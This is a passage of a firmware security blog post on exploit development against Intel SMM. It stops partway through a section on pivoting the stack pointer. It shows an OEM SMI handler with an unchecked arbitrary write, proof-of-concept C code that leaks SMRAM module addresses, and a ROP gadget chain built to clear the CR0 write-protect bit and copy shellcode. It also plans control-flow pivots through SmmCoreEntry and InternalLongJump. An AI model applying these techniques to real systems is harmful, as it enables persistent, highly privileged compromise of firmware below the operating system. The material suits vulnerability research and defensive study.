
SMM Part 2: Finding and Turning an Arbitrary Write into Full Code Execution

Table of contents
Introduction
The previous part of the series provided an overview of the functionality of Intel SMM and modern EDK2 exploit mitigations. This part will focus on the development of a full exploit chain from a single arbitrary write on modern firmware with all default EDK2 mitigations/options enabled. We will cover building a ROP chain for the target, SMRAM address leaks, and multiple primitives that will help us build a full exploit PoC.
Finding a bug on the target
Initial triage of SMM targets consists mainly of trying to discover modules that register SMI handlers. There aren’t really many special tricks to this. Search the firmware for modules containing certain GUIDs and analyze each one. Some helpful GUIDs to find initial modules to analyze:
- gEfiSmmSxDispatch2ProtocolGuid:
456d2859-a84b-4e47-a2ee-3276d886997d - gEfiSmmSwDispatch2ProtocolGuid:
18a3c6dc-5eea-48c8-a1c1-b53389f98999 - gEfiSmmCommunicationProtocolGuid:
c68ed8e2-9dc6-4cbd-9d94-db65acc5c332 - gEfiSmmCpuProtocolGuid:
eb346b97-975f-4a9f-8b22-f8e92bb3d569
After analyzing tens of modules containing these GUIDs from the target, I found a version of AmiSecFlash containing some odd edits by an OEM. After analyzing the main SW SMI handler of the image, there is a fourth custom option that has been added to the main command dispatch switch case.
EFI_STATUS
EFIAPI
SwSmiHandler(
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context,
IN OUT EFI_SMM_SW_CONTEXT *CommBuffer,
IN OUT UINTN *CommBufferSize
)
{
UINTN CpuIndex;
UINT32 UserBufferLo;
UINT32 UserBufferHi;
VOID *UserBuffer;
CpuIndex = CommBuffer->SwSmiCpuIndex;
Status_0 = 0;
UserBufferHi = 0;
UserBufferLo[0] = 0;
if (CpuIndex == -1) {
return EFI_SUCCESS;
}
gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &UserBufferLo);
gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RCX, CpuIndex, &UserBufferHi);
UserBuffer = (VOID*)(UserBufferLo + (UINT64)(UserBufferHi << 32));
switch (CommBuffer->CommandPort) {
case 0x1Du:
return SMI__LoadFwImage (UserBuffer);
case 0x1Eu:
return SMI__GetFlashPolicy (UserBuffer);
case 0x1Fu:
return SMI__SetFlashMethod (UserBuffer);
default:
if (CommBuffer->CommandPort == 0x88) {
SMI__OemCommandArbitraryWriteFromFwVariable (UserBuffer);
}
return EFI_SUCCESS;
}
}Looking into this custom fourth command, it’s just very clearly a complete arbitrary write with no attempt at validation.
EFI_STATUS
SMI__OemCommandArbitraryWriteFromFwVariable(
IN UINT64 UserBuffer
)
{
EFI_STATUS Status;
EFI_GUID VendorGuid;
UINT8 Data[0x1138];
UINTN DataSize;
VendorGuid = (EFI_GUID){ ... };
DataSize = 0x1124;
Status = gRT->GetVariable (L"Redacted", &VendorGuid, 0, &DataSize, Data);
if (Status >= 0) {
*(UINT64 *)(UserBuffer + 0x103) = *(UINT64 *)&Data[0x1116];
}
return Status;
}We could have just created our own simple arbitrary write primitive in our lab, but I wanted to show that these kinds of simple and direct vulnerabilities do still exist. These vulnerabilities tend to present themselves much more frequently when OEMs and chains of third parties get involved. For reference, this was found in the firmware of my last workstation computer’s motherboard. Also note that the returned DataSize isn’t validated, and it is possible to leak one byte of uninitialized stack memory if the returned DataSize of the variable is less than or equal to 0x1116, but this is inconsequential compared to the arbitrary write.
SMRAM address leaks
Despite not having true ASLR, having some kind of address leak is required for a reliable exploit. The layout in memory of the contents of SMRAM can still differ between multiple users of the exact same firmware, due to differences in the amount of RAM, processors, or anything else that may influence the size of certain allocations within SMRAM.
Thankfully, due to the design of SMM core in EDK2, there are easy and generic ways to leak the address of both the PiSmmCore module and the PiSmmCpuDxeSmm. Although these modules aren’t the biggest, they are likely to contain almost every primitive or gadget you will need for the rest of the exploit, in part due to the low-level state management that these modules handle (interrupt handlers, entry/exit of SMM).
The first SMRAM address leak of the PiSmmCore image base and SMST structure comes from the private data structure of PiSmmIpl that is intentionally shared between DXE and SMM (SMM_CORE_PRIVATE_DATA).
One of the reasons that this private data structure is shared is to facilitate the passing of a communication buffer and size along to an SMI handler using the EFI_SMM_COMMUNICATION_PROTOCOL system, as well as to support the shared DXE/SMM driver system, and to allow the SMM IPL to pass along data when loading the SMM core. Taking a look at the structure, a few fields should immediately pop out to the reader:
///
/// Signature for the private structure shared between the SMM IPL and the SMM Core
///
#define SMM_CORE_PRIVATE_DATA_SIGNATURE SIGNATURE_32 ('s', 'm', 'm', 'c')
///
/// Private structure that is used to share information between the SMM IPL and
/// the SMM Core. This structure is allocated from memory of type EfiRuntimeServicesData.
/// Since runtime memory types are converted to available memory when a legacy boot
/// is performed, the SMM Core must not access any fields of this structure if a legacy
/// boot is performed. As a result, the SMM IPL must create an event notification
/// for the Legacy Boot event and notify the SMM Core that a legacy boot is being
/// performed. The SMM Core can then use this information to filter accesses to
/// this structure.
///
typedef struct {
UINTN Signature;
///
/// The ImageHandle passed into the entry point of the SMM IPL. This ImageHandle
/// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded
/// Image Protocol for each SMM Driver that is dispatched by the SMM Core.
///
EFI_HANDLE SmmIplImageHandle;
///
/// The number of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
UINTN SmramRangeCount;
///
/// A table of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
EFI_SMRAM_DESCRIPTOR *SmramRanges;
///
/// The SMM Foundation Entry Point. The SMM Core fills in this field when the
/// SMM Core is initialized. The SMM IPL is responsible for registering this entry
/// point with the SMM Configuration Protocol. The SMM Configuration Protocol may
/// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL
/// sets up a protocol notification on the SMM Configuration Protocol and registers
/// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is
/// available.
///
EFI_SMM_ENTRY_POINT SmmEntryPoint;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN SmmEntryPointRegistered;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN InSmm;
///
/// This field is set by the SMM Core then the SMM Core is initialized. This field is
/// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in
/// the SMM IPL.
///
EFI_SMM_SYSTEM_TABLE2 *Smst;
///
/// This field is used by the SMM Communication Protocol to pass a buffer into
/// a software SMI handler and for the software SMI handler to pass a buffer back to
/// the caller of the SMM Communication Protocol.
///
VOID *CommunicationBuffer;
///
/// This field is used by the SMM Communication Protocol to pass the size of a buffer,
/// in bytes, into a software SMI handler and for the software SMI handler to pass the
/// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.
///
UINTN BufferSize;
///
/// This field is used by the SMM Communication Protocol to pass the return status from
/// a software SMI handler back to the caller of the SMM Communication Protocol.
///
EFI_STATUS ReturnStatus;
EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase;
UINT64 PiSmmCoreImageSize;
EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint;
} SMM_CORE_PRIVATE_DATA;Specifically SmmEntryPoint, Smst, and PiSmmCoreImageBase are all SMRAM addresses within shared memory!
Okay, so how do we reliably locate this structure? PiSmmIpl registers the EFI_SMM_BASE2_PROTOCOL protocol which exposes a few helper functions that access this structure.
//
// SMM Base 2 Protocol instance
//
EFI_SMM_BASE2_PROTOCOL mSmmBase2 = {
SmmBase2InSmram,
SmmBase2GetSmstLocation
};
// ...
//
// Install SMM Base2 Protocol and SMM Communication Protocol
//
Status = gBS->InstallMultipleProtocolInterfaces (
&mSmmIplHandle,
&gEfiSmmBase2ProtocolGuid,
&mSmmBase2,
&gEfiSmmCommunicationProtocolGuid,
&mSmmCommunication,
&gEfiMmCommunication2ProtocolGuid,
&mMmCommunication2,
&gEfiMmCommunication3ProtocolGuid,
&mMmCommunication3,
NULL
);Taking a look at either of these functions, we can see that they are simple wrappers around the core private data:
EFI_STATUS
EFIAPI
SmmBase2InSmram (
IN CONST EFI_SMM_BASE2_PROTOCOL *This,
OUT BOOLEAN *InSmram
)
{
if (InSmram == NULL) {
return EFI_INVALID_PARAMETER;
}
*InSmram = gSmmCorePrivate->InSmm;
return EFI_SUCCESS;
}So, simple enough, we can locate one of these functions through the EFI_SMM_BASE2_PROTOCOL, and then pull out the address of the gSmmCorePrivate data (or a field within it, depending on compiler optimization). Taking a look at the function in the PiSmmIpl.efi image of our target, we can see that the access to the InSmm field of gSmmCorePrivate is decayed down to a direct access using the address of the InSmm field:
SmmBase2InSmram+00h | | SmmBase2InSmram PROCSmmBase2InSmram+00h | F3 0F 1E FA | endbr64SmmBase2InSmram+04h | 48 B8 02 00 00 00 00 00 00 80 | mov rax, 8000000000000002hSmmBase2InSmram+0Eh | 48 85 D2 | test rdx, rdxSmmBase2InSmram+11h | 74 0A | jz short SmmBase2InSmramReturnSmmBase2InSmram+11h | | ; Decayed direct access to the InSmm field of mSmmCorePrivate.SmmBase2InSmram+13h | 8A 05 [70 61 00 00] | mov al, cs:byte_7189SmmBase2InSmram+19h | 88 02 | mov [rdx], alSmmBase2InSmram+1Bh | 31 C0 | xor eax, eaxSmmBase2InSmram+1Dh | | SmmBase2InSmramReturn:SmmBase2InSmram+1Dh | C3 | retnSmmBase2InSmram+1Dh | | SmmBase2InSmram ENDPSo, for our target firmware, we can retrieve the mSmmCorePrivate address like so:
EFI_STATUS
PocFindSmmCorePrivateData(
OUT SMM_CORE_PRIVATE_DATA **ppCorePrivateData
)
{
EFI_STATUS Status;
UINT8* SmmBase2InSmramCode;
INT32 InSmmDisp;
UINTN InSmmAbs;
SMM_CORE_PRIVATE_DATA* CorePrivateData;
//
// Find the shared DXE SMM_BASE2 protocol implemented by PiSmmIpl.
//
if (EFI_ERROR (Status = gBS->LocateProtocol (&gEfiSmmBase2ProtocolGuid, NULL, (VOID**)&SmmBase2))) {
return Status;
}
//
// Pull out the REL32 displacement of the accessed InSmm field and calculate the absolute address of the core private data.
// +13h | 8A 05 [70 61 00 00] | mov al, cs:byte_7189
//
SmmBase2InSmramCode = (UINT8*)SmmBase2->GetSmstLocation;
InSmmDisp = *(INT32*)&SmmBase2InSmramCode[0x13 + 2];
InSmmAbs = (((UINT64)SmmBase2InSmramCode + 0x19) + InSmmDisp);
CorePrivateData = (VOID*)(InSmmAbs - OFFSET_OF(SMM_CORE_PRIVATE_DATA, InSmm));
if (CorePrivateData->Signature != SMM_CORE_PRIVATE_DATA_SIGNATURE) {
return EFI_NOT_FOUND;
}
*ppCorePrivateData = CorePrivateData;
return EFI_SUCCESS;
}Please note that this exact implementation may not suit all firmware, just our target! For a more reliable or generic function, disassembly of the function or some simple pattern matching rules are required. Now we can use this function to retrieve the SMM IPL’s core private data structure and freely access the leaked SMRAM address of the SMM core module, as well as the SMRAM address of the SMST structure inside of it.
Now, moving on to the second address leak, the address of the PiSmmCpuDxeSmm module, which contains a lot of useful primitives.
Similar to the first address leak, this one is through another SMM private data structure, which is used for the shared DXE/SMM configuration protocol.
//
// Private structure for the SMM CPU module that is stored in DXE Runtime memory
// Contains the SMM Configuration Protocols that is produced.
// Contains a mix of DXE and SMM contents. All the fields must be used properly.
//
#define SMM_CPU_PRIVATE_DATA_SIGNATURE SIGNATURE_32 ('s', 'c', 'p', 'u')
typedef struct {
UINTN Signature;
EFI_HANDLE SmmCpuHandle;
EFI_PROCESSOR_INFORMATION *ProcessorInfo;
SMM_CPU_OPERATION *Operation;
UINTN *CpuSaveStateSize;
VOID **CpuSaveState;
EFI_SMM_RESERVED_SMRAM_REGION SmmReservedSmramRegion[1];
EFI_SMM_ENTRY_CONTEXT SmmCoreEntryContext;
EFI_SMM_ENTRY_POINT SmmCoreEntry;
EFI_SMM_CONFIGURATION_PROTOCOL SmmConfiguration;
PROCEDURE_WRAPPER *ApWrapperFunc;
LIST_ENTRY TokenList;
LIST_ENTRY *FirstFreeToken;
} SMM_CPU_PRIVATE_DATA;Despite what the comment in EDK2 says about the structure being stored in DXE runtime memory, this is not the case. The comment is either left over from an earlier implementation, or is due to a misunderstanding of the shared DXE/SMM system. This structure will reside purely in SMRAM as part of the data section of the PiSmmCpuDxeSmm module. So, unlike the first leak, we cannot actually access anything in this structure directly, but that won’t be a problem. Looking at PiSmmCpuDxeSmm.c, we can see that a protocol interface is installed for EFI_SMM_CONFIGURATION_PROTOCOL inside of PiCpuSmmEntry during the shared DXE/SMM phase. The fact that this protocol is installed using the boot services during this phase leaves the actual protocol entry visible to non-SMM code (although the underlying memory will be inaccessible), leaking us the SMRAM address of the EFI_SMM_CONFIGURATION_PROTOCOL structure.
EFI_STATUS
EFIAPI
PiCpuSmmEntry (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
// ...
//
// Install the SMM Configuration Protocol onto a new handle on the handle database.
// The entire SMM Configuration Protocol is allocated from SMRAM, so only a pointer
// to an SMRAM address will be present in the handle database
//
Status = SystemTable->BootServices->InstallMultipleProtocolInterfaces (
&gSmmCpuPrivate->SmmCpuHandle,
&gEfiSmmConfigurationProtocolGuid,
&gSmmCpuPrivate->SmmConfiguration,
NULL
);
// ...
}Notice how the registered protocol interface address is the address of the SmmConfiguration field within gSmmCpuPrivate (which is a pointer to the instance of SMM_CPU_PRIVATE_DATA inside of PiSmmCpuDxeSmm). Therefore, if we look up gEfiSmmConfigurationProtocolGuid, we should get back an SMRAM address within the data section of the PiSmmCpuDxeSmm image.
Taking a look at the PiSmmCpuDxeSmm.efi image of our target firmware, we can verify that this is the case, and figure out the offset from the SmmConfiguration address back to the image base (or you can just calculate your other primitives/gadgets relative to SmmConfiguration as an anchor rather than the image base, but I find the image base easier to work with).
PiCpuSmmEntry+0A4h | 48 8B 45 18 | mov rax, [rbp+arg_8]PiCpuSmmEntry+0A8h | | ; Address of the SmmConfiguration field within mSmmCpuPrivate.PiCpuSmmEntry+0A8h | 4C 8D 05 13 A1 00 00 | lea r8, off_17290PiCpuSmmEntry+0AFh | 45 31 C9 | xor r9d, r9dPiCpuSmmEntry+0B2h | 48 8D 15 99 A3 00 00 | lea rdx, EFI_SMM_CONFIGURATION_PROTOCOL_GUIDPiCpuSmmEntry+0B9h | 49 8D 48 98 | lea rcx, [r8-68h]PiCpuSmmEntry+0BDh | 48 8B 40 60 | mov rax, [rax+60h]PiCpuSmmEntry+0C1h | FF 90 48 01 00 00 | call [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]Following the off_17290 operand, which should be the address of the SmmConfiguration field, will lead us to the data section of the image, allowing us to confirm our findings. You can clearly see that this is indeed the SmmConfiguration field inside of the CPU private data structure, the SMM_CPU_PRIVATE_DATA_SIGNATURE of the structure is also there as we would expect.
.data:0000000000017220h | 73 63 70 75 00 | aScpu db 'scpu',0.data:0000000000017225h | 00 00 00 00 00 00 00 00... | align 10h.data:0000000000017230h | 00 00 00 00 00 00 00 00 | qword_17230 dq 0 .data:0000000000017238h | 00 00 00 00 00 00 00 00 | qword_17238 dq 0 .data:0000000000017240h | 00 00 00 00 00 00 00 00 | CpuSaveStateSize dq 0 .data:0000000000017248h | 00 00 00 00 00 00 00 00 | CpuSaveState dq 0 .data:0000000000017250h | 00 00 00 00 00 00 00 00 | SmramReservedRegions dq 0 .data:0000000000017258h | 00 00 00 00 00 00 00 00 | qword_17258 dq 0 .data:0000000000017260h | 2E 41 00 00 00 00 00 00 | off_17260 dq offset sub_412E .data:0000000000017268h | 00 00 00 00 00 00 00 00 | qword_17268 dq 0 .data:0000000000017270h | 00 00 00 00 00 00 00 00 | qword_17270 dq 0 .data:0000000000017278h | 00 00 00 00 00 00 00 00 | qword_17278 dq 0 .data:0000000000017280h | 00 00 00 00 00 00 00 00 | SmmCoreEntryContext dq 0 .data:0000000000017288h | 00 00 00 00 00 00 00 00 | SmmCoreEntry dq 0.data:0000000000017290h | 50 72 01 00 00 00 00 00 | off_17290 dq offset SmramReservedRegions.data:0000000000017298h | B6 10 00 00 00 00 00 00 | dq offset RegisterSmmEntryThis time it is even simpler to create a function to leak the SMRAM addresses of the CPU private data and the PiSmmCpuDxeSmm image base. The address of the CPU private data itself is mentioned here explicitly as certain fields within it can be used as very useful primitives.
EFI_STATUS
PocFindSmmCpuPrivateData(
OUT UINT64 *pSmmCpuPrivateData,
OUT UINT64 *pPiSmmCpuDxeSmmImageBase OPTIONAL
)
{
EFI_STATUS Status;
VOID* SmmConfiguration;
//
// Find the SMM configuration protocol (note: points to an inaccessible SMRAM address).
//
if (EFI_ERROR (Status = gBS->LocateProtocol (&gEfiSmmConfigurationProtocolGuid, NULL, &SmmConfiguration))) {
return Status;
}
//
// The SMM configuration protocol is registered to point to a field within the SMM private CPU data structure.
// We can use this to discover the address of gSmmCpuPrivate.
// Status = SystemTable->BootServices->InstallMultipleProtocolInterfaces (
// &gSmmCpuPrivate->SmmCpuHandle,
// &gEfiSmmConfigurationProtocolGuid,
// &gSmmCpuPrivate->SmmConfiguration,
// NULL );
//
*pSmmCpuPrivateData = ((UINT64)SmmConfiguration - OFFSET_OF(SMM_CPU_PRIVATE_DATA, SmmConfiguration));
if (pPiSmmCpuDxeSmmImageBase != NULL) {
*pPiSmmCpuDxeSmmImageBase = (*pSmmCpuPrivateData - 0x17220);
}
return EFI_SUCCESS;
}Finding ROP gadgets
We will pursue the route of trying to build a ROP chain that disables memory write-protection and acts as memory copy primitive for our shellcode, before redirecting execution to it. I think this is generally the most straightforward way to gain execution of actual shellcode in SMM, but this is only the case due to some very useful gadgets in the modules that we have the leaked SMRAM addresses of!
To start, we will run a ROP gadget finding helper application to begin initial triage of available gadgets. In this post we will be using ROPgadget by Jonathan Salwan, but anything that can find and disassemble instructions that precede a C3 byte should suffice.
After executing the ROPgadget script on our target’s copy of PiSmmCpuDxeSmm.efi, we will start with the most important gadget in the chain, disabling of memory write protection. In X86, the memory protection feature is enabled through the WP bit of the CR0 register (Page.W & CR0.WP). A quick CTRL+F for CR0 in the output of the script yields pretty surprising results:
0x00000000000011dd : mov cr0, rax โบ ret
0x0000000000010833 : mov cr0, rbx โบ retf
0x000000000000d7ac : mov cr3, rax โบ ret
0x0000000000010bc1 : mov cr4, rax โบ retThe joys of working with such a low-level module that directly handles processor state, interrupts, and operating mode. You won’t find gadgets like that very often.
Okay, now we have a way to control CR0 through either RAX or RBX, so let’s move on to the actual memory copying logic.
The size of our bootstrap shellcode will never need to be too big, so it’s not worth the pain of implementing any kind of advanced memory copying logic. We will find one memory write gadget and unroll it however many times we need into the chain, chunking up the writes of the shellcode.
A quick regex search through the gadget list for mov qword ptr \[r..+\], r.. ; immediately reveals a few fine candidates:
0x00000000000125b3 : mov qword ptr [rcx + 0x10], rax โบ ret
0x0000000000001242 : mov qword ptr [rcx + 0x40], r8 โบ ret
0x0000000000010a59 : mov qword ptr [rcx - 8], rax โบ ret
0x000000000000f2ba : mov qword ptr [rcx], rdx โบ xor eax, eax โบ ret
0x0000000000001208 : mov qword ptr [rdx], rax โบ xor eax, eax โบ retAny will work, for our example PoC we will use mov qword ptr [rcx], rdx โบ xor eax, eax โบ ret.
Next step, let’s find some gadgets that will set up the input register values for our main gadgets we have found. Our simplest CR0 update gadget uses RAX as the source, let’s try to find a gadget that will load our new CR0 value from the stack. There are a few results, but no gadgets that only pop RAX with no other side effects:
0x0000000000005273 : pop rax โบ adc byte ptr [rax + 1], cl โบ retf 0x8d4c
0x000000000000a6b8 : pop rax โบ cli โบ shr ax, 9 โบ and eax, 1 โบ ret
0x000000000000a6a4 : pop rax โบ cmp eax, 0x39480001 โบ ret 0x475
0x000000000000a645 : pop rax โบ pop rbx โบ pop rsi โบ pop rdi โบ pop rbp โบ ret
0x0000000000010cac : pop rax โบ pop rbx โบ ret
0x0000000000010bfa : pop rax โบ pop rdi โบ retWe will use the pop rax ; pop rdi gadget. We just need to handle the pop rdi portion by placing another dummy value on the stack alongside our RAX value, and be aware of the side effect of RDI being clobbered.
Now, let’s find a gadget to load the sources for our memory write gadget. RCX will contain the destination, and RDX will contain the 8-byte value to write to the destination. Same as the other gadget, start with a quick CTRL+F for pop rcx, and if we are lucky, we might even find a single gadget that pops both registers we need. After searching through the results, we find the following:
0x0000000000010fbc : pop rdx โบ pop rcx โบ pop rbx โบ retGood enough, for each 8-byte chunk we will push our destination, value to write, and one dummy stack slot. Our final list of gadgets for building the bootstrap ROP chain:
0x0000000000010bfa : pop rax โบ pop rdi โบ ret
0x00000000000011dd : mov cr0, rax โบ ret
0x0000000000010fbc : pop rdx โบ pop rcx โบ pop rbx โบ ret
0x000000000000f2ba : mov qword ptr [rcx], rdx โบ xor eax, eax โบ retFinding an instruction pointer pivot
We have our arbitrary write, we have the main part of our ROP chain, but we still need to pivot the instruction pointer and stack pointer somehow. Starting with a way to pivot execution, a good way is to search for function pointers within our leaked modules. There aren’t many in these two modules, but if you take a look at the SMM_CPU_PRIVATE_DATA structure that we have leaked the address of, there is a great candidate: SmmCoreEntry. The first argument to the function is also part of the structure whose address we have!
VOID
BSPHandler (
IN UINTN CpuIndex,
IN MM_CPU_SYNC_MODE SyncMode
)
{
// ...
//
// Invoke SMM Foundation EntryPoint with the processor information context.
//
gSmmCpuPrivate->SmmCoreEntry (&gSmmCpuPrivate->SmmCoreEntryContext);
}This function pointer will be called by the SMM BSP very early into the SMI rendez-vous path.
Perfect, we have a known function pointer with a known argument passed through RCX! We just need some kind of primitive or gadget that will let us pivot the stack pointer to a value pointed to by one of SmmCoreEntryContext’s fields.
Finding a stack pointer pivot
We now have control over the instruction pointer, and the memory pointed to by the address in RCX. We need to find a way to use this to pivot RSP to our actual ROP chain stored in shared communication buffer memory. Performing a cursory search in our ROP gadget list for mov rsp yields no results. So, moving on to a more general search just for any instruction containing rsp, almost all of the results are add rsp, X or pop rsp, save for one: lea rsp, [rbp - 0x10] ; pop rbx ; pop r12 ; pop rbp ; ret, better, but not exactly useful yet without control over RBP.
Before moving on entirely from our current chain, let’s take a look for any primitives with larger granularity than a single ROP gadget. A quick search for raw bytes 48 8b ?? in the module in a disassembler, then filtering the instruction results for “rsp” does yield two actual mov rsp, [x] instructions:
.text:0000000000012584 | 48 8B 64 24 20 | mov rsp, [rsp+20h].text:0000000000010D12 | 48 8B 61 08 | mov rsp, [rcx+8]Obviously we don’t control RSP, so the first one is pointless. But the second one is loading RSP from the memory that we have control over. Opening the area in a disassembler yields even more surprising results:
.text:0000000000010D0F | 48 8B 19 | mov rbx, [rcx].text:0000000000010D12 | 48 8B 61 08 | mov rsp, [rcx+8].text:0000000000010D16 | 48 8B 69 10 | mov rbp, [rcx+10h].text:0000000000010D1A | 48 8B 79 18 | mov rdi, [rcx+18h].text:0000000000010D1E | 48 8B 71 20 | mov rsi, [rcx+20h].text:0000000000010D22 | 4C 8B 61 28 | mov r12, [rcx+28h].text:0000000000010D26 | 4C 8B 69 30 | mov r13, [rcx+30h].text:0000000000010D2A | 4C 8B 71 38 | mov r14, [rcx+38h].text:0000000000010D2E | 4C 8B 79 40 | mov r15, [rcx+40h].text:0000000000010D32 | 0F AE 51 50 | ldmxcsr dword ptr [rcx+50h].text:0000000000010D36 | F3 0F 6F 71 58 | movdqu xmm6, xmmword ptr [rcx+58h].text:0000000000010D3B | F3 0F 6F 79 68 | movdqu xmm7, xmmword ptr [rcx+68h].text:0000000000010D40 | F3 44 0F 6F 41 78 | movdqu xmm8, xmmword ptr [rcx+78h].text:0000000000010D46 | F3 44 0F 6F 89 88 00 00 00 | movdqu xmm9, xmmword ptr [rcx+88h].text:0000000000010D4F | F3 44 0F 6F 91 98 00 00 00 | movdqu xmm10, xmmword ptr [rcx+98h].text:0000000000010D58 | F3 44 0F 6F 99 A8 00 00 00 | movdqu xmm11, xmmword ptr [rcx+0A8h].text:0000000000010D61 | F3 44 0F 6F A1 B8 00 00 00 | movdqu xmm12, xmmword ptr [rcx+0B8h].text:0000000000010D6A | F3 44 0F 6F A9 C8 00 00 00 | movdqu xmm13, xmmword ptr [rcx+0C8h].text:0000000000010D73 | F3 44 0F 6F B1 D8 00 00 00 | movdqu xmm14, xmmword ptr [rcx+0D8h].text:0000000000010D7C | F3 44 0F 6F B9 E8 00 00 00 | movdqu xmm15, xmmword ptr [rcx+0E8h].text:0000000000010D85 | 48 89 D0 | mov rax, rdx.text:0000000000010D88 | FF 61 48 | jmp qword ptr [rcx+48h]Almost a full context switch using memory that we can control. This is actually the InternalLongJump function that is used in almost every executable compiled with EDK2, as it is used in the underlying entry point surrounding the actual user code’s main function call. This is a great primitive that is present in almost every EDK2 executable.
As good as the primitive is, the register load offsets may still need to fit the shape and semantics of our leaked &gSmmCpuPrivate->SmmCoreEntryContext structure that we will corrupt. To quickly get a view of how these loads line up with the shape of the core entry context, we will just add a new type in our disassembler with all the fields of SMM_CPU_PRIVATE_DATA that precede SmmCoreEntryContext chopped off:
typedef struct {
// UINTN Signature;
// EFI_HANDLE SmmCpuHandle;
// EFI_PROCESSOR_INFORMATION *ProcessorInfo;
// SMM_CPU_OPERATION *Operation;
// UINTN *CpuSaveStateSize;
// VOID **CpuSaveState;
// EFI_SMM_RESERVED_SMRAM_REGION SmmReservedSmramRegion[1];
EFI_SMM_ENTRY_CONTEXT SmmCoreEntryContext;
EFI_SMM_ENTRY_POINT SmmCoreEntry;
EFI_SMM_CONFIGURATION_PROTOCOL SmmConfiguration;
PROCEDURE_WRAPPER *ApWrapperFunc;
LIST_ENTRY TokenList;
LIST_ENTRY *FirstFreeToken;
} SMM_CPU_PRIVATE_DATA_CORE_ENTRY_CONTEXT;Applying this type to all of the load destinations from InternalLongJump yields the following:
mov rbx, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.SmmStartupThisAp]
mov rsp, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CurrentlyExecutingCpu]
mov rbp, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.NumberOfCpus]
mov rdi, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CpuSaveStateSize]
mov rsi, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CpuSaveState]
mov r12, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntry]
mov r13, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmConfiguration.SmramReservedRegions]
mov r14, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmConfiguration.RegisterSmmEntry]
mov r15, [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.ApWrapperFunc]
ldmxcsr dword ptr [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.BackLink]
movdqu xmm6, xmmword ptr [rcx+58h]
movdqu xmm7, xmmword ptr [rcx+68h]
movdqu xmm8, xmmword ptr [rcx+78h]
movdqu xmm9, xmmword ptr [rcx+88h]
movdqu xmm10, xmmword ptr [rcx+98h]
movdqu xmm11, xmmword ptr [rcx+0A8h]
movdqu xmm12, xmmword ptr [rcx+0B8h]
movdqu xmm13, xmmword ptr [rcx+0C8h]
movdqu xmm14, xmmword ptr [rcx+0D8h]
movdqu xmm15, xmmword ptr [rcx+0E8h]
mov rax, rdx
jmp [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.ForwardLink]Okay, so replace SmmCoreEntryContext.CurrentlyExecutingCpu with our stack pointer containing our actual ROP chain to pivot to? First we need to make sure that this field isn’t used or overwritten in any condition of the code path leading up to the call of our function pointer. We must trace all accesses of the structure starting from the initial SMM entry point, into the SMI rendez-vous function, and then into the SMM BSP handler function that calls into the function pointer. Once we have verified the usage of these fields up into this point, only then can we choose how to move forward.
Tracing back up through the call stack, we can immediately see that it won’t be as simple as setting RSP through the SmmCoreEntryContext.CurrentExecutingCpu, as this field is unconditionally updated in BSPHandler before our controlled function pointer:
//
// Set running processor index
//
gSmmCpuPrivate->SmmCoreEntryContext.CurrentlyExecutingCpu = CpuIndex;
// ...
//
// Invoke SMM Foundation EntryPoint with the processor information context.
//
gSmmCpuPrivate->SmmCoreEntry (&gSmmCpuPrivate->SmmCoreEntryContext);Let’s continue tracing back up through the possible call stack path that leads to BSPHandler and note down all of the other accessed fields of the CPU private data.
Thankfully there is only one fixed call stack path to trace through for our call:
PiSmmCpuDxeSmm/X64/SmiEntry.nasmPiSmmCpuDxeSmm/MpService.c/SmiRendezvousPiSmmCpuDxeSmm/MpService.c/BSPHandlergSmmCpuPrivate->SmmCoreEntry
The structure is not accessed at all in any part of SmiEntry.nasm. Moving on to SmiRendezvous,
SMM_CPU_PRIVATE_DATA_CORE_ENTRY.ApWrapperFunc may be used in AP startup code. Other than that, all other accesses (such as the PROCEDURE_TOKEN lists) are performed after the call to our controlled function pointer. Leaving us with a small list of semantically relevant fields:
Field name | Access Type | Load slot | Note
------------------------------------------+-------------+-----------+-----------------------------------------------
SmmCoreEntryContext.CurrentlyExecutingCpu | WRITE | RSP | Unconditionally overwritten before our call.
SmmCoreEntry | READ/CALL | R12 | Overwritten by us to point to a gadget.
ApWrapperFunc | READ/CALL | R15 | Pointer to array of AP wrapper function entries.This leaves us with a slightly smaller list of relevant registers that the InternalLongJump primitive can load our own values into: RBX, RBP, RDI, RSI, R13, R14, RIP. We cannot directly pivot RSP through this primitive, as the corresponding CurrentlyExecutingCpu field will be overwritten before the primitive executes. We need a gadget that will pivot RSP separately using one of our controlled GPRs from the list. Looking back at our previous search for a straightforward RSP pivot, the one actual candidate would work perfectly:
